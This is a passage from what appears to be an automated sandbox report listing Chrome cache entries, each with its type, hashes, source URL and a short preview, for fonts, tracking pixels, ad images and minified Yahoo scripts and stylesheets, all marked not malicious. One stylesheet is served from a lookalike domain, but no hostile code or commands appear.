SHA-256:	D5312DACBE6F248C6C4B60251D7ACF77BC3BC891CD9B880DEAD36D9BABB288C4
SHA-512:	633A7E026AD4AC657CFB7C11932C3D138016B633126A43A72578F11314ED90D880C7F8242E9607AF12195D0F4326AEEAD96150909C5C0FF17DFDF48081D4ADAD
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Medium.woff2
Preview:	wOF2......r,.......4..q............................(..T.`..T.....s.....$..4.....6.$..0. .....,..B[.nq....WP.....S..b..m.@w u...`.^.6..B.....OM2f.F....U..1A.#...rY...b.....#..R..a.....{.c.....&]......O>^Xq...i.;W.L<.F...:>.....J\...%.6.1....,V.nTQ.9Q.E:..(p.R....<..k.\|.(.....).i6n..^2.......eV......b..I.....}P...d.4...\......K."..A...'Q\|...G..}.......1....a...eY\|....,,.1K b..b.'h.@L..A-.$D/.....?n....@...XM.......?........@ ..#..u...&.V.f.. .p.O..;..zyw{^y.../H.j..V..(@.pH.............[...r..s..A&.#.(.A...x..<.5mtTQu... .P.B.m.....t.._(.[.%..D..........l...P.V.PAB.RZJPQ..ra..U.(7..n.t.}D....M..A.C8..9.....w...S./.......tj&jd..d..$..$S.......i...z\|C....v..,..................-T...iR.!f..I.=....8s..D.....``.".9....\|.Op..2....EA.J.....'p....P6...%eal..N.>.....`{..m^...F..Q4..4....S.)7.. s..........^...t..^.B<.....Z...[....^!%..e..MSq..:YTb..oK....9..q j..<.I:em.Ps~...wE.xY1.JU.t...;...^E.....\|.[...t.m)mt.f.\].*.....p>B..d....h@..la

Chrome Cache Entry: 636

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjssNPlEXW8LdL7IvKVJbtZWC6Bga3dbmpEQ4JFitzfPfu9o9N9Bx3kQUdf7tz6J4MdN4vdis7FsAA_f3ElHWLyWhD6QIYZzVZz4Wd9KRHYV-uaTPETH0FsxOwEmAv00TS2Dn0IDnWvQBfHYvreLSZ21LzzHnE0cByOo&sai=AMfl-YQBuZYDFDOeKX7cFTSsH715L9ZVK9JW2lilG2GECZBhT0tFdIHjpFol6S9yfLvZG8BC8J17pcFdTyNNzklYZc_ufVYEzHbKUSVszU2DO_bALxzEJz-J7fm4LoiR8zJA0CtCVBBZ1o1c6V_Y0iCx&sig=Cg0ArKJSzAgQ94owNkt4EAE&cid=CAQSTgB7FLtqttZy3n8pfqLYUQiGRx6R5BIQqV9z8wAf2BCTdODQkUtGydJq1QiH4oCYXRHhNCrGvHGQRqERI5Kr5tfw63Qb0QcZ-D8N2a-cmBgB&id=lidar2&mcvt=2991&p=572,951,1172,1251&mtos=0,0,2991,2991,2991&tos=0,0,2991,0,0&v=20240424&bin=7&avms=nio&bs=0,0&mc=0.56&if=1&vu=1&app=0&itpl=20&adk=1481106528&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0%3D&vs=4&r=v&co=1019052400&rst=1714257721349&rpt=3400&isd=0&lsd=0&met=ie&wmsd=0&pbe=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 637

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=appnexus&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=1476058396850158061
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 638

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	65934
Entropy (8bit):	7.967678687264993
Encrypted:	false
SSDEEP:	1536:fM49pMpyTtq0UZMi1DlRvyUTEoFTNGXvQoyrHfU:fMOpMpoUj1DldEoDDrHfU
MD5:	DE615E686BCE82E9FBF50286E93D2944
SHA1:	2C52BB7C07B440AF3F0297C593C58770BAA1A0DF
SHA-256:	B10688B076330C3C235960416D44898CA5120D565265ED20D57250280E3BBDC7
SHA-512:	CC9219F10EA4E54B8CDD2F52BE22CE7CA4653E38B0387EBAA2E988A77F1E705CE7B5D7AF66D957C06F98DEA4FE56234C2BEB4AAB9C62BF3A53AE82C7C1C306A5
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C......................................................................................................................G.........................!.1.."AQa..2q...#B.R...$3b....Cr...%4.S&D.......................................................1!.Aq.a............?...!".e..g,.G........ci_1&..O..'.......[.9.j(uL..c....K"..U...#kd...,...J...m...#....c...h.d%...s....G..V.......Bv.s....,..0.~i.S'.;H.=..$....Q...S.......?.A.....#.<..6.........I,.t....~....>..,MLX.g.........x..YA........D..R.......t....@m....@..0#1....90R...,6s.c=.J....oY......n...'.e. 2...3...[..2&...@\|. >.9...........1 .-.c.?.tn\...H.4.m..&Tc..~..".l.&.$A.,[..Y.j\|O..2.............=..RD2(.9..........q...~.... J\|..@N...5S..+...o...jG.......@....!.}4.r.}go....s.a......5h.~TJ.w..Ww...=.....I.3.....Q...V......~_.bz$T.&..89......U.p c9#.@......"&.....>.V....3...'..`~.....&.;e..b...=..;th^.!uY...=H......i..4._pq

Chrome Cache Entry: 639

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	120394
Entropy (8bit):	5.30638759019494
Encrypted:	false
SSDEEP:	1536:j4i7v3U6q/fcMBvqFPb9Oia5/xpvS+F6SgOXoKjmpd5LdSoupY9dvCk1SUF5Y9A9:8GAjAdJdSoupY9dIswRy4TM
MD5:	6D5FCFA64F745C9AEA423F849D922EE5
SHA1:	900B0E6829611CF1AA878698C431E4417975010B
SHA-256:	D10E087F80A66FF233E5B685A08A98721E8D435899DD62AE270D7BADEDB51B0C
SHA-512:	5D20BA0EE3234B717AD75F52B5A44605C7B3AEC2DBCAED4882A691C7D84E7CC279ACC8F9F6CF473BFF873692EFFF58C3BCE4056B809112F14C30EA0B88CC84CC
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/c/900b0e6.caas-news_web.min.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS",[],t):"object"==typeof exports?exports.CAAS=t():e.CAAS=t()}(self,(function(){return function(){var e,t,s,o,a={"./node_modules/@vzmi/caas-static/src/lazy/js/index.js":function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s("./node_modules/@vzmi/caas-static/src/util/js/index.js");const a="loading"in HTMLImageElement.prototype,i="data-caas-lazy-loading-init";let n,r;function l(e,t){return e.nodeName.toLowerCase()===t}function d(e,t){const s=e._util,{pendingClass:a}=e.options;return()=>{if((0,o.elementInView)(t,e.options,s._viewport)){const o=s.elements.indexOf(t);e.load(t),s.elements.splice(o,1),s.count--,0===s.count&&e.destroy()}(0,o.removeClass)(t,a)}}function c(e){const t=e._util,{pendingClass:s,successClass:i,timeout:n}=e.options;for(let r=0;r<t.count;r++){const c=t.elements[r],m=a&&l(c,"img"),u=!m&&(0,o.

Chrome Cache Entry: 641

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11896), with no line terminators
Category:	downloaded
Size (bytes):	11896
Entropy (8bit):	5.106336772711154
Encrypted:	false
SSDEEP:	192:ggLxQ3sW7GECHay2/WI3ZyAWRvrhAo1ti:ggLxQ3sW7GECHaX3cAWR8
MD5:	6B203A4B87B7FA985DB197EADC05B67C
SHA1:	CD0FBF08B76F079CC1BC500EAFF9FCDE503CA93B
SHA-256:	4186E1E17F6CB2C1561C9FDAED0E4CE9ABE0A8DBC15767F374C3A9A7C197426C
SHA-512:	B2C0B6B00772B6D50DEAEA23841D4867796C3D1ED846A36BFB12C0DC4185049C17513AB8D3717BE4E44B46B6721F5B026E69740E2F17AA5AC12877953AF095D4
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-loader-2.7.5-modern.js
Preview:	!function(a,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-loader",[],e):"object"==typeof exports?exports["wafer-loader"]=e():(a.wafer=a.wafer\|\|{},a.wafer.wafers=a.wafer.wafers\|\|{},a.wafer.wafers["wafer-loader"]=e())}("undefined"!=typeof self?self:this,function(){return function(a){function e(w){if(r[w])return r[w].exports;var f=r[w]={i:w,l:!1,exports:{}};return a[w].call(f.exports,f,f.exports,e),f.l=!0,f.exports}var r={};return e.m=a,e.c=r,e.d=function(a,r,w){e.o(a,r)\|\|Object.defineProperty(a,r,{configurable:!1,enumerable:!0,get:w})},e.n=function(a){var r=a&&a.__esModule?function(){return a.default}:function(){return a};return e.d(r,"a",r),r},e.o=function(a,e){return Object.prototype.hasOwnProperty.call(a,e)},e.p="https://s.yimg.com/aaq/wf/",e(e.s="./src/entry.js")}({"../../manifest.json":function(a,e){a.exports={"wafer-account-switch":{meta:{version:"1.1.7"},modern:{min:"/aaq/wf/wf-account-switch-1.1.7-moder

Chrome Cache Entry: 642

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	699
Entropy (8bit):	4.996082036230937
Encrypted:	false
SSDEEP:	12:tV/KYf386/ZWHP8fWB7pVTYcARtU3Y5KQIJvJl/SKOwmSlWdv0HIFzrWcIcn:tVLfsLvO87fTHARtU3Y5+JHSKPcv0HIJ
MD5:	F5483CECC2FAB32A508CF2B5E5B94ABF
SHA1:	8338E5E8AB30F5553DB8D811696F65778FF7F46A
SHA-256:	959D2BFF6E8AA7B4D1836A5DCC00AB6F2C2754604B0E0174BD96B6F9822D5905
SHA-512:	BA6F7F16909B90F1C90F17222CDF38F344CE76002E3800743BA368D6EDC1A5306E8AF11B71A7238503F34579599B9B9BFF1CDD3AA2EEA8BDE008F67CBD0403DB
Malicious:	false
Reputation:	low
Preview:	<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px". viewBox="0 0 159 161.1" enable-background="new 0 0 159 161.1" xml:space="preserve">.<g id="Layer_2">. <path fill="#00ACCA" d="M139.6,91.5c12.6-6.9,14.9-15.6,0.2-24.3L36.9,11C24.4,3.9,14.1,9.7,14.1,24v110.8. c0,18.2,9.5,20,22.1,13.2l11.8-6.6c1.9-1.3,6.4-5.1,5.2-10.3c-1.2-4.8-5.3-6.3-10.1-5c-7,3.8-11.5,0-11.5-7.9V39.2. c0-7.9,5.7-11.2,12.6-7.2l71,40.6c6.9,3.9,6.9,10.3-0.1,14.1l-43.9,22.8V82.6c0-4.1-3.4-7.5-7.5-7.5c-4.1,0-7.5,3.4-7.5,7.5v38.1. c0,4.1,3.6,7.1,7.5,8.5c1.6,0.6,4.8,0.7,7.1-0.4L139.6,91.5z"/>. <circle fill="#00ACCA" cx="64.1" cy="62.4" r="7.9"/>.</g>.</svg>

Chrome Cache Entry: 643

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4249), with no line terminators
Category:	downloaded
Size (bytes):	4249
Entropy (8bit):	5.242820679038457
Encrypted:	false
SSDEEP:	96:a6z95q7wimgV1H1BSaQg77uSy7hG1UrpsUtKkmxMtP7iCs5wqrtgfP7cujy/L4:a6x5Tg/C1cuS3W6kKpMtPeCPqrSfnjyk
MD5:	BCDA778B736C3A054AF62F437B536E78
SHA1:	08E2CDBD2D1CA160834B205D6748DC2CAB5FDD99
SHA-256:	892E2F5E07FEF6DE0428E4DCB284201B3D110C0A6F2D8EF899CD2CD2C61EB546
SHA-512:	A0D6449A03045E723D2F668898541625E36D7394E30327F5E89E1F0640F97A1A0268F500D89E804CD8DC8FBF395DBDFA71B429E89E737E3C2DAC7A2C196EA3A7
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/js/tdv2-wafer-utils.customErrorHandler.bcda778b736c3a054af62f437b536e78.js
Preview:	"use strict";function _typeof(e){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_typeof(e)}!function(){var e,n,t,o,r=window,a=r.onerror,i=["apptype","rid","bucketId","bucket","device","osName","browserName","browserVersion"],c=/^resource:\/\//,s=/ActionScript\|Decompress\sfail/,f={beaconPath:"p.gif",site:"fp"},d=0,w=function(){var e=r.navigator&&(navigator.connection\|\|navigator.mozConnection\|\|navigator.webkitConnection)\|\|{};return{downlink:e.downlink\|\|"",downlinkMax:e.downlinkMax\|\|"",effectiveType:e.effectiveType\|\|"",rtt:e.rtt\|\|"",saveData:e.saveData\|\|"",type:e.type\|\|""}},u=function(){var e=r.YAHOO&&r.YAHOO.context\|\|r.Af&&r.Af.context\|\|{},n="";return i.forEach((function(t){"undefined"!==_typeof(e[t])&&(n+="&".concat(encodeURIComponent(t),"=").concat(encodeURIComponent(e[t])))})),n},g=function(e,n,t,o){if(!(d>3\|\|r.naviga

Chrome Cache Entry: 644

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
URL:	https://tags.bluekai.com/site/19505?id=y-vJfbWEtE2pKd9.lkoxhGreisgOFyKZYFM88-~A
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 645

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 360x640, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	33922
Entropy (8bit):	7.993411905598843
Encrypted:	true
SSDEEP:	768:t4os0vmVAz41JHA9ZF8C6cJsKnJr00y2eLV0Is6WNa:tlvmG2S9ZaHKJrLMiINWI
MD5:	937C8751FA97C00FB683A0A03C123D54
SHA1:	AF83C941B76362185D23C19AB4C85D8B0EB0E164
SHA-256:	405D9E83C40D95696BB4EFA2E033BC7DCCF5490EA52AAEA2E4D79C8BCBEBFFF1
SHA-512:	F4AACA32CBDEE2758CFD2C1F3B056BA27391B703F39286B42AA3E26ACAF9EF8D90E76C01A308FF7D32F9B5939927CE01525F58AB0E898556D9895DB92A78D778
Malicious:	false
Reputation:	low
URL:	https://s8t.teads.tv/creative-6753877077111797/edit_sertaperfectsleeper1080x1920024-1713298263644.360.webp
Preview:	RIFFz...WEBPVP8 n...p....*h...>1..C.!.#$rz.`..gK.v.@.;?.{.3.b.`...`......9................V.m.....s.......>k.....a............u^.>............Oz..?.....z..:.;....C....`.......?s.........q...........7./....A.#.../..y.....G..................o............O.../@~Z.....O.O......p..!c.........................>..7.....G.....................?..`_.?.............q_....g.........>b......................+.W......\|..=.~....R.~....D_.a.;..)a ....T.w.K.n....~.+z...3..'m..`...W..p......>...D..<..BH+.....9$.o....Y......O.....ol. W.yG.._.m...).QF...>..S...$.F.n....N..84-....H>xT4....9q........W...J..`..`.../.>..1.....Pj.s.{.IZ.s.(....vk#.....i.....r.....e2.R..i.0..#....`.+..y...F..u.;t-K..8..:8.O.~..rO...@..(.....vN.F..#..K..G..5.6)..71......n...W.R.9j..{...U.rz.......?.\|x.xT..p... .F.2...NL....a.".4...fP...1E.i.....N\^.7\j.~....\|..X?j..-....c.J.<.4>4.%........s...'5<...<I.Yp.....?6e#.`..&..K..90....)m#:.M,..d'.....iWp....}......#&.x...KmI4....Vq...;..}......

Chrome Cache Entry: 646

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 647

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.944235677759421
Encrypted:	false
SSDEEP:	3:YEOBH35vi/SG3/i4zQCAb3n:YEOBX5vi/Y4B+3n
MD5:	5772DD7D9EB0EB780BA2128DE5DFA67E
SHA1:	C46FF1F7A64F7FACCB0E619CC0AE4719B42628A8
SHA-256:	5A9FDE5D1AAB8A5D347313C608D42626DFD9C50618DC6F1C674C58C26F665963
SHA-512:	35D3F9B90803972CD695C5ABE085966B79220A8C35EFD7D26078245976FC8F8DCC2E89A155B5C89F4BF2C4E8E86A16E2FBA8F292E5058ACD254D37CDF0390B7F
Malicious:	false
Reputation:	low
Preview:	{"axid": "y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A"}

Chrome Cache Entry: 648

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://core.iprom.net/cookiesync?gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 649

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8127)
Category:	downloaded
Size (bytes):	8128
Entropy (8bit):	5.210425618876301
Encrypted:	false
SSDEEP:	192:ACdB+IPnzAWYJKh1zVQJzBAtU1Lo+sww9Z8l3TRgKB4v:fdAILkQVQpBBJsW7BU
MD5:	26831B6BD9EA430823F593B6A70C7375
SHA1:	01AA2FCC9820194D914DAEB4F5BF84F8447CBE4A
SHA-256:	BAA52E8AC769D702E14FD1FA5A4363A1FC7E6462115AB6BCDBB317CE0E99DA8B
SHA-512:	1F5F82EDA1CAB4518C172ABB7DA75556D1D49D0ADBEBF4F5EBC389317E428723D1E718E2510552A9061ADD5410819273364766EE57207FACFEDF08C976689BF9
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cx/pv/perf-vitals_3.2.0.js
Preview:	!function(){"use strict";var e,t,n,i,r,a=-1,o=function(e){addEventListener("pageshow",(function(t){t.persisted&&(a=t.timeStamp,e(t))}),!0)},c=function(){return window.performance&&performance.getEntriesByType&&performance.getEntriesByType("navigation")[0]},u=function(){var e=c();return e&&e.activationStart\|\|0},s=function(e,t){var n=c(),i="navigate";return a>=0?i="back-forward-cache":n&&(i=document.prerendering\|\|u()>0?"prerender":document.wasDiscarded?"restore":n.type.replace(/_/g,"-")),{name:e,value:void 0===t?-1:t,rating:"good",delta:0,entries:[],id:"v3-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12),navigationType:i}},f=function(e,t,n){try{if(PerformanceObserver.supportedEntryTypes.includes(e)){var i=new PerformanceObserver((function(e){Promise.resolve().then((function(){t(e.getEntries())}))}));return i.observe(Object.assign({type:e,buffered:!0},n\|\|{})),i}}catch(e){}},d=function(e,t,n,i){var r,a;return function(o){t.value>=0&&(o\|\|i)&&((a=t.value-(r\|\|0))\|

Chrome Cache Entry: 650

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	8030
Entropy (8bit):	7.736938876137361
Encrypted:	false
SSDEEP:	192:pNYNMtKw2EmK0YV/XHGpehmx4KyBVP43fk81AGqzl:jYNg72EmlYhmZAek8Lql
MD5:	E609B3808D7DEA074A93BB8742C09FE3
SHA1:	7F34ADC84A6654C6DD668D15AAF6BEB2A3A42165
SHA-256:	34A6B15BDB717D283A5D165991A4263B48A9FDB696E8E8E71B20038C1E6CCE02
SHA-512:	2C80E4FE2D75D2BC03B8D640975166627849D41F032D09D06AA71F263580AC45E524BCB33CA4E1B199CC36DB003CB21D52848E7B99FFBDD4EB7EDCBAD89249C1
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/Up.dPtTya2UoFvgwi6vzRA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f.cf.webp
Preview:	RIFFV...WEBPVP8X.... ...+.....ICCPH......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 651

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6179), with no line terminators
Category:	downloaded
Size (bytes):	6179
Entropy (8bit):	5.08247511424115
Encrypted:	false
SSDEEP:	192:Ma6NSahE4cG2vzIqRtQrzIqRtQda6NSahE4cG28:2LezoziLP
MD5:	14B81B9D43CC8EB81AE45EEBBAAE258C
SHA1:	282B11AB55C5F5160364E8EFC58D7F1F905F18FE
SHA-256:	C4785A51ADADEF034B8274F06CD3BA259F313F67269F1C8F06BB9CE88AE9137A
SHA-512:	E50862DC3483065FBF5E9F41C8F5422229A873248B5E138D27ECC6B76B53D901EF82307C0F4237B9FB9966251EB8A54E582361C70DAF0CF9BB0E39BA82FDD190
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/cprops/colors_1.1.27.min.css
Preview:	:root,html[data-color-scheme=dark] [data-maintain-color],html[data-color-theme-enabled] [data-color-scheme=light],html[data-color-theme-enabled][data-color-scheme=light]{--barbie:#f80e5d;--barney:#cc008c;--batcave:#232a31;--battleship:#5b636a;--black:#000;--blurple:#5d5eff;--bob:#b0b9c1;--bonsai:#00873c;--canary:#ffde00;--carrot-juice:#ff520d;--charcoal:#464e56;--cheetos:#ff6e0c;--cobalt:#003abc;--denim:#1a0dab;--dirty-seagull:#e0e4e9;--dolphin:#6e7780;--dory:#0f69ff;--gandalf:#979ea8;--grape-jelly:#6001d2;--grey-hair:#f0f3f5;--hendrix:#f8f4ff;--hulk-pants:#7e1fff;--inkwell:#1d2228;--kiwi:#00d15e;--malbec:#39007d;--malibu:#ff0080;--marshmallow:#f5f8fa;--masala:#ff8b12;--midnight:#101518;--mimosa:#ffd333;--mulah:#1ac567;--mulberry:#5015B0;--ninja-turtle:#00ab5e;--pebble:#c7cdd2;--peeps:#7dcbff;--playdoh:#21d87d;--ramones:#2c363f;--sapphire:#2f0060;--scooter:#0063eb;--sea-foam:#11d3cd;--shark:#828a93;--sky:#12a9ff;--smurfette:#188fff;--solo-cup:#eb0f29;--spirulina:#009c94;--starfish:#775

Chrome Cache Entry: 652

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 653

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	459108
Entropy (8bit):	5.470227339611493
Encrypted:	false
SSDEEP:	3072:SRi1LD6+rMunW+0V+8V5Z/V+8VARpfoknnbPLPLKC9W+R6DwKKIV+8VEXWAwbUDM:3LvrMuVoknvTVR6Dw3pVu
MD5:	B8F4AD92CB5379FD6B34ADD31B18B309
SHA1:	C38747733570C5552E2183420F00F689DA04ACA1
SHA-256:	589EF5AD36E122DB7D91EE900B98607BFD6C90F34194B5DC1AB3CA81E0517E2E
SHA-512:	575305BA7DF4C47D691821DC26C0DE3888328AE3D55E6FCF8FFFF6921E5D390A117141A4E0AC968683C81F0AABA4E74ABBEB0D07E0DD57F144ED4F482B7D2783
Malicious:	false
Reputation:	low
URL:	https://validated.web.app/s.yimg.com/wm/mbr/53b2a2316b6797357929f67e8e301a70f6482597/yahoo-main.css
Preview:	@font-face{font-family:Yahoo Sans;font-display:block;src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-ExtraLight.eot);src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-ExtraLight.eot?#iefix) format("embedded-opentype"),url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-ExtraLight.woff2) format("woff2"),url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-ExtraLight.woff) format("woff");font-weight:200}@font-face{font-family:Yahoo Sans;font-display:block;src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Light.eot);src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Light.eot?#iefix) format("embedded-opentype"),url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Light.woff2) format("woff2"),url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Light.woff) format("woff");font-weight:300}@font-face{font-family:Yahoo Sans;font-display:block;src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.eot);src:url(

Chrome Cache Entry: 654

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
